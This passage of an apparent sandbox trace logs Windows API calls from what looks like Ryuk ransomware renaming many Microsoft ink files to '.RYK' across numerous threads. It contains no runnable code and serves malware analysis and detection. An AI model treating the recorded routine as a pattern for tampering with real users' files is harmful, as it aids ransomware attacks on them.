	[0129.091] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 185
	os_tid = 0xbd4

	[0128.877] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml", dwFileAttributes=0x80) returned 0
	[0128.982] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.982] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.982] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 186
	os_tid = 0xbc0

	[0128.878] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml", dwFileAttributes=0x80) returned 0
	[0128.984] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.984] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.984] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 187
	os_tid = 0x788

	[0128.879] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml", dwFileAttributes=0x80) returned 0
	[0128.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.986] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.986] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ea-sym.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 188
	os_tid = 0x518

	[0128.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml", dwFileAttributes=0x80) returned 0
	[0128.987] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.987] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.987] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 189
	os_tid = 0x4f4

	[0128.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml", dwFileAttributes=0x80) returned 0
	[0128.988] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.989] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.989] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\symbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\symbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 190
	os_tid = 0x35c

	[0128.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml", dwFileAttributes=0x80) returned 0
	[0129.128] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.129] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.129] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 192
	os_tid = 0x380

	[0129.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml", dwFileAttributes=0x80) returned 0
	[0129.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.551] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.552] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web\\webbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web\\webbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 193
	os_tid = 0x5f8

	[0129.383] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml", dwFileAttributes=0x80) returned 0
	[0129.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.383] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.384] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\web.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\web.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 194
	os_tid = 0x4e4

	[0129.386] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat", dwFileAttributes=0x80) returned 0
	[0129.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.386] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.386] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 195
	os_tid = 0x384

	[0129.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat", dwFileAttributes=0x80) returned 0
	[0130.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.523] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.523] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 196
	os_tid = 0x6b8

	[0129.388] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat", dwFileAttributes=0x80) returned 0
	[0130.036] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.522] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.522] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenclm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 197
	os_tid = 0x968

	[0129.389] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat", dwFileAttributes=0x80) returned 0
	[0129.389] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.389] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.390] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrlatinlm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 198
	os_tid = 0x9f4

	[0129.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat", dwFileAttributes=0x80) returned 0
	[0130.039] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.521] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.521] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruklm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruklm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 199
	os_tid = 0xb08

	[0129.553] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat", dwFileAttributes=0x80) returned 0
	[0130.040] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.520] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.520] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 200
	os_tid = 0xa08

	[0129.554] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat", dwFileAttributes=0x80) returned 0
	[0130.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.519] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 201
	os_tid = 0x3ac

	[0129.555] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat", dwFileAttributes=0x80) returned 0
	[0130.041] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0130.518] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0130.518] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 202
	os_tid = 0x42c

	[0129.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml", dwFileAttributes=0x80) returned 0
	[0129.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.556] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.556] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscat.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 203
	os_tid = 0x914

	[0129.558] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml", dwFileAttributes=0x80) returned 0
	[0129.558] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.559] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipschs.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipschs.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 204
	os_tid = 0x7cc

	[0129.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml", dwFileAttributes=0x80) returned 0
	[0129.828] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.829] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscht.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 205
	os_tid = 0xb18

	[0129.562] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml", dwFileAttributes=0x80) returned 0
	[0129.830] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.831] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.831] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipscsy.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 206
	os_tid = 0x64

	[0129.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml", dwFileAttributes=0x80) returned 0
	[0129.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.833] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdan.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 207
	os_tid = 0x304

	[0129.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml", dwFileAttributes=0x80) returned 0
	[0129.834] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.835] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.835] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsdeu.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 208
	os_tid = 0x9b8

	[0129.609] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml", dwFileAttributes=0x80) returned 0
	[0129.836] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.837] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.837] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsen.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 209
	os_tid = 0xb24

	[0129.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml", dwFileAttributes=0x80) returned 0
	[0129.839] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.839] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.839] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsesp.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsesp.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 210
	os_tid = 0x654

	[0129.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml", dwFileAttributes=0x80) returned 0
	[0129.841] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.841] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0129.841] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfin.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfin.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 211
	os_tid = 0xc04

	[0129.613] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml", dwFileAttributes=0x80) returned 0
	[0129.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsfra.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsfra.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.845] CloseHandle (hObject=0xffffffffffffffff) returned 0
